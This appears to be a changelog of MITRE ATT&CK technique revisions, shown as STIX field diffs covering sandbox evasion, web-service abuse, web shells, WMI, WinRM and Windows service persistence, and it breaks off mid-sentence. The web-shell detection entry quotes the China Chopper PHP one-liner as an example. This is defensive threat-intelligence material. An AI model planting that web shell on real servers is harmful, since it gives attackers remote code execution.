| description | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) |
| external_references[1]['source_name'] | Unit 42 Pirpi July 2015 | Deloitte Environment Awareness |
| external_references[1]['description'] | Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. |
| external_references[1]['url'] | https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/ | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 Pirpi July 2015', 'description': 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.', 'url': 'https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/'} | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise acc | t | 1 | Adversaries may compromise access to third-party web service |
| > | ess to third-party web services that can be used during targ | > | s that can be used during targeting. A variety of popular we | ||
| > | eting. A variety of popular websites exist for legitimate us | > | bsites exist for legitimate users to register for web-based | ||
| > | ers to register for web-based services, such as GitHub, Twit | > | services, such as GitHub, Twitter, Dropbox, Google, etc. Adv | ||
| > | ter, Dropbox, Google, etc. Adversaries may try to take owner | > | ersaries may try to take ownership of a legitimate user's ac | ||
| > | ship of a legitimate user's access to a web service and use | > | cess to a web service and use that web service as infrastruc | ||
| > | that web service as infrastructure in support of cyber opera | > | ture in support of cyber operations. Such web services can b | ||
| > | tions. Such web services can be abused during later stages o | > | e abused during later stages of the adversary lifecycle, suc | ||
| > | f the adversary lifecycle, such as during Command and Contro | > | h as during Command and Control ([Web Service](https://attac | ||
| > | l ([Web Service](https://attack.mitre.org/techniques/T1102)) | > | k.mitre.org/techniques/T1102)) or [Exfiltration Over Web Ser | ||
| > | or [Exfiltration Over Web Service](https://attack.mitre.org | > | vice](https://attack.mitre.org/techniques/T1567).(Citation: | ||
| > | /techniques/T1567).(Citation: Recorded Future Turla Infra 20 | > | Recorded Future Turla Infra 2020) Using common services, suc | ||
| > | 20) Using common services, such as those offered by Google o | > | h as those offered by Google or Twitter, makes it easier for | ||
| > | r Twitter, makes it easier for adversaries to hide in expect | > | adversaries to hide in expected noise. By utilizing a web s | ||
| > | ed noise. By utilizing a web service, particularly when acce | > | ervice, particularly when access is stolen from legitimate u | ||
| > | ss is stolen from legitimate users, adversaries can make it | > | sers, adversaries can make it difficult to physically tie ba | ||
| > | difficult to physically tie back operations to them. | > | ck operations to them. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:02:30.304000+00:00 | 2021-10-17 16:01:48.047000+00:00 |
| description | Before compromising a victim, adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. | Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). | Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may register for w | t | 1 | Adversaries may register for web services that can be used d |
| > | eb services that can be used during targeting. A variety of | > | uring targeting. A variety of popular websites exist for adv | ||
| > | popular websites exist for adversaries to register for a web | > | ersaries to register for a web-based service that can be abu | ||
| > | -based service that can be abused during later stages of the | > | sed during later stages of the adversary lifecycle, such as | ||
| > | adversary lifecycle, such as during Command and Control ([W | > | during Command and Control ([Web Service](https://attack.mit | ||
| > | eb Service](https://attack.mitre.org/techniques/T1102)) or [ | > | re.org/techniques/T1102)) or [Exfiltration Over Web Service] | ||
| > | Exfiltration Over Web Service](https://attack.mitre.org/tech | > | (https://attack.mitre.org/techniques/T1567). Using common se | ||
| > | niques/T1567). Using common services, such as those offered | > | rvices, such as those offered by Google or Twitter, makes it | ||
| > | by Google or Twitter, makes it easier for adversaries to hid | > | easier for adversaries to hide in expected noise. By utiliz | ||
| > | e in expected noise. By utilizing a web service, adversaries | > | ing a web service, adversaries can make it difficult to phys | ||
| > | can make it difficult to physically tie back operations to | > | ically tie back operations to them. | ||
| > | them. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 17:59:17.456000+00:00 | 2021-10-17 15:45:01.956000+00:00 |
| description | Before compromising a victim, adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them. | Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). | Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Arnim Rupp, Deutsche Lufthansa AG'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:34:19.752000+00:00 | 2021-07-26 13:46:47.993000+00:00 |
| external_references[3]['source_name'] | US-CERT Alert TA15-314A Web Shells | NSA Cyber Mitigating Web Shells |
| external_references[3]['description'] | US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. | NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021. |
| external_references[3]['url'] | https://www.us-cert.gov/ncas/alerts/TA15-314A | https://github.com/nsacyber/Mitigating-Web-Shells |
| x_mitre_data_sources[0] | Process monitoring | File: File Modification |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Authentication logs | File: File Creation |
| x_mitre_detection | Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
<?php @eval($_POST['password']);>
Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) | Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
<?php @eval($_POST['password']);>
Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)
File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)
Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US-CERT Alert TA15-314A Web Shells', 'description': 'US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA15-314A'} | |
| x_mitre_data_sources | Application Log: Application Log Content | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Windows Management Instrumentation (WM | t | 1 | Adversaries may abuse Windows Management Instrumentation (WM |
| > | I) to achieve execution. WMI is a Windows administration fea | > | I) to execute malicious commands and payloads. WMI is an adm | ||
| > | ture that provides a uniform environment for local and remot | > | inistration feature that provides a uniform environment to a | ||
| > | e access to Windows system components. It relies on the WMI | > | ccess Windows system components. The WMI service enables bot | ||
| > | service for local and remote access and the server message b | > | h local and remote access, though the latter is facilitated | ||
| > | lock (SMB) (Citation: Wikipedia SMB) and Remote Procedure Ca | > | by [Remote Services](https://attack.mitre.org/techniques/T10 | ||
| > | ll Service (RPCS) (Citation: TechNet RPC) for remote access. | > | 21) such as [Distributed Component Object Model](https://att | ||
| > | RPCS operates over port 135. (Citation: MSDN WMI) An adver | > | ack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remo | ||
| > | sary can use WMI to interact with local and remote systems a | > | te Management](https://attack.mitre.org/techniques/T1021/006 | ||
| > | nd use it as a means to perform many tactic functions, such | > | ) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates | ||
| > | as gathering information for Discovery and remote Execution | > | using port 135, whereas WMI over WinRM operates over port 5 | ||
| > | of files as part of Lateral Movement. (Citation: FireEye WMI | > | 985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)( | ||
| > | SANS 2015) (Citation: FireEye WMI 2015) | > | Citation: FireEye WMI 2015) An adversary can use WMI to int | ||
| > | eract with local and remote systems and use it as a means to | ||||
| > | execute various behaviors, such as gathering information fo | ||||
| > | r Discovery as well as remote Execution of files as part of | ||||
| > | Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citatio | ||||
| > | n: FireEye WMI 2015) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['@ionstorm'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
| x_mitre_system_requirements | ['WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 22:50:51.258000+00:00 | 2022-04-20 16:25:21.348000+00:00 |
| description | Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI) An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015) An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) |
| external_references[1]['source_name'] | Wikipedia SMB | FireEye WMI 2015 |
| external_references[1]['description'] | Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016. | Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Server_Message_Block | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf |
| external_references[2]['source_name'] | TechNet RPC | FireEye WMI SANS 2015 |
| external_references[2]['description'] | Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016. | Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. |
| external_references[2]['url'] | https://technet.microsoft.com/en-us/library/cc787851.aspx | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Creation |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Network Traffic: Network Connection Creation |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye WMI SANS 2015', 'description': "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.", 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf'} | |
| external_references | {'source_name': 'FireEye WMI 2015', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'} | |
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to interact with remote systems using Wi | > | g/techniques/T1078) to interact with remote systems using Wi | ||
| > | ndows Remote Management (WinRM). The adversary may then perf | > | ndows Remote Management (WinRM). The adversary may then perf | ||
| > | orm actions as the logged-on user. WinRM is the name of bot | > | orm actions as the logged-on user. WinRM is the name of bot | ||
| > | h a Windows service and a protocol that allows a user to int | > | h a Windows service and a protocol that allows a user to int | ||
| > | eract with a remote system (e.g., run an executable, modify | > | eract with a remote system (e.g., run an executable, modify | ||
| > | the Registry, modify services).(Citation: Microsoft WinRM) I | > | the Registry, modify services).(Citation: Microsoft WinRM) I | ||
| > | t may be called with the `winrm` command or by any number of | > | t may be called with the `winrm` command or by any number of | ||
| > | programs such as PowerShell.(Citation: Jacobsen 2014) | > | programs such as PowerShell.(Citation: Jacobsen 2014) WinRM | ||
| > | can be used as a method of remotely interacting with [Wind | ||||
| > | ows Management Instrumentation](https://attack.mitre.org/tec | ||||
| > | hniques/T1047).(Citation: MSDN WMI) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 12:25:03.014000+00:00 | 2021-06-23 19:22:52.870000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI) |
| external_references[3]['source_name'] | Medium Detecting Lateral Movement | MSDN WMI |
| external_references[3]['description'] | French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019. | Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. |
| external_references[3]['url'] | https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc | https://msdn.microsoft.com/en-us/library/aa394582.aspx |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Netflow/Enclave netflow | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[4] | File monitoring | Service: Service Metadata |
| x_mitre_detection | Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) | Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Medium Detecting Lateral Movement', 'description': 'French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify Windows services to repeate | t | 1 | Adversaries may create or modify Windows services to repeate |
| > | dly execute malicious payloads as part of persistence. When | > | dly execute malicious payloads as part of persistence. When | ||
| > | Windows boots up, it starts programs or applications called | > | Windows boots up, it starts programs or applications called | ||
| > | services that perform background system functions.(Citation: | > | services that perform background system functions.(Citation: | ||
| > | TechNet Services) Windows service configuration information | > | TechNet Services) Windows service configuration information | ||
| > | , including the file path to the service's executable or rec | > | , including the file path to the service's executable or rec | ||
| > | overy programs/commands, is stored in the Windows Registry. | > | overy programs/commands, is stored in the Windows Registry. | ||
| > | Service configurations can be modified using utilities such | > | Adversaries may install a new service or modify an existing | ||
| > | as sc.exe and [Reg](https://attack.mitre.org/software/S0075) | > | service to execute at startup in order to persist on a syst | ||
| > | . Adversaries may install a new service or modify an exist | > | em. Service configurations can be set or modified using syst | ||
| > | ing service by using system utilities to interact with servi | > | em utilities (such as sc.exe), by directly modifying the Reg | ||
| > | ces, by directly modifying the Registry, or by using custom | > | istry, or by interacting directly with the Windows API. Ad | ||
| > | tools to interact with the Windows API. Adversaries may conf | > | versaries may also use services to install and execute malic | ||
| > | igure services to execute at startup in order to persist on | > | ious drivers. For example, after dropping a driver file (ex: | ||
| > | a system. An adversary may also incorporate [Masquerading]( | > | `.sys`) to disk, the payload can be loaded and registered v | ||
| > | https://attack.mitre.org/techniques/T1036) by using a servic | > | ia [Native API](https://attack.mitre.org/techniques/T1106) f | ||
| > | e name from a related operating system or benign software, o | > | unctions such as `CreateServiceW()` (or manually via functio | ||
| > | r by modifying existing services to make detection analysis | > | ns such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creat | ||
| > | more challenging. Modifying existing services may interrupt | > | ing the required service Registry values (i.e. [Modify Regis | ||
| > | their functionality or may enable services that are disabled | > | try](https://attack.mitre.org/techniques/T1112)), or by usin | ||
| > | or otherwise not commonly used. Services may be created w | > | g command-line utilities such as `PnPUtil.exe`.(Citation: Sy | ||
| > | ith administrator privileges but are executed under SYSTEM p | > | mantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlay | ||
| > | rivileges, so an adversary may also use a service to escalat | > | er February 2022)(Citation: Unit42 AcidBox June 2020) Advers | ||
| > | e privileges from administrator to SYSTEM. Adversaries may a | > | aries may leverage these drivers as [Rootkit](https://attack | ||
| > | lso directly start services through [Service Execution](http | > | .mitre.org/techniques/T1014)s to hide the presence of malici | ||
| > | s://attack.mitre.org/techniques/T1569/002). | > | ous activity on a system. Adversaries may also load a signed | ||
| > | yet vulnerable driver onto a compromised machine (known as | ||||
| > | "Bring Your Own Vulnerable Driver" (BYOVD)) as part of [Expl | ||||
| > | oitation for Privilege Escalation](https://attack.mitre.org/ | ||||
| > | techniques/T1068).(Citation: ESET InvisiMole June 2020)(Cita | ||||
| > | tion: Unit42 AcidBox June 2020) Services may be created wit | ||||
| > | h administrator privileges but are executed under SYSTEM pri | ||||
| > | vileges, so an adversary may also use a service to escalate | ||||
| > | privileges. Adversaries may also directly start services thr | ||||
| > | ough [Service Execution](https://attack.mitre.org/techniques | ||||
| > | /T1569/002). To make detection analysis more challenging, ma | ||||
| > | licious services may also incorporate [Masquerade Task or Se | ||||
| > | rvice](https://attack.mitre.org/techniques/T1036/004) (ex: u | ||||
| > | sing a service and/or payload name related to a legitimate O | ||||
| > | S or benign software component). | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018. | |
| external_references | Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020. | |
| external_references | Microsoft. (n.d.). Services. Retrieved June 7, 2016. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-478 | |
| external_references | CAPEC-550 | |
| external_references | CAPEC-551 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:49:58.490000+00:00 | 2022-05-20 16:22:32.605000+00:00 |
| description | Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). Adversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system. An adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). | Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as 